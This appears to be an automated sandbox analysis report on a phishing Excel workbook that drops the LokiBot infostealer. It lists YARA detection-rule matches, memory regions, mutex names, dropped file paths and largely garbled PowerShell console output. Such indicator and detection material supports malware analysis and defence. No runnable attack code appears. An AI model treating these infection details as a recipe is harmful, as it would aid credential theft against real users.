Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: caspol.exe PID: 3888, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: rrwscqkDSNwLK.exe PID: 1644, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: rrwscqkDSNwLK.exe PID: 3576, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: caspol.exe PID: 4076, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: caspol[1].exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: caspol.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rrwscqkDSNwLK.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 11.2.caspol.exe.354e230.4.raw.unpack, a6RnQjwUyOApqVRoTt.cs	Security API names: _0020.SetAccessControl
Source: 11.2.caspol.exe.354e230.4.raw.unpack, a6RnQjwUyOApqVRoTt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.caspol.exe.354e230.4.raw.unpack, a6RnQjwUyOApqVRoTt.cs	Security API names: _0020.AddAccessRule
Source: 11.2.caspol.exe.354e230.4.raw.unpack, zHSLcC0xi2VDKUoIki.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@52/60@3/3

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe

Code function: 28_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

28_2_0040434D

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\CA430000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\caspol.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3
Source: C:\Users\user\AppData\Roaming\caspol.exe	Mutant created: \Sessions\1\BaseNamedObjects\otkaVhUbioxCcU

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9FF6.tmp

Jump to behavior

Source: Payment Advice.xls	OLE indicator, Workbook stream: true
Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	OLE indicator, Workbook stream: true
Source: CA430000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................Pp.............0.........................................................,..............3......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(..............................}..w.............................1......(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................Pp.............................}..w.............................1......(.P..............3......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cmp.......................xk....}..w............\.......................(.P.....................X...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!j.....o.xk......i.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cmp.......................xk....}..w............\.......................(.P.....................X...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!j.....o.xk......i.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..!j.....o.xk......i.....(.P............................. .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.i.C.e.c.R.e.D.e.n.T.I.a.l.d.E.p.L.O.y.m.e.n.t.(.P.............................8.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.............................8.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!j.....o.xk......i.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...................F.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................................}..w.............!j.....o.xk......i.....(.P.............................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ...............}..w.............!j.....o.xk......i.....(.P.....................................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X.......m..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......t.......\|.......X.......$..........................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X.......<..........................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.X.......`..........................s............h....... .......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X.......x..........................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............h.......$.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X.......,..........................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............h.......2.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X.......f..........................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s....................l.......(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....t.......\|.......X..................................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......\|.......X..................................s............h...............(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`.......o..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
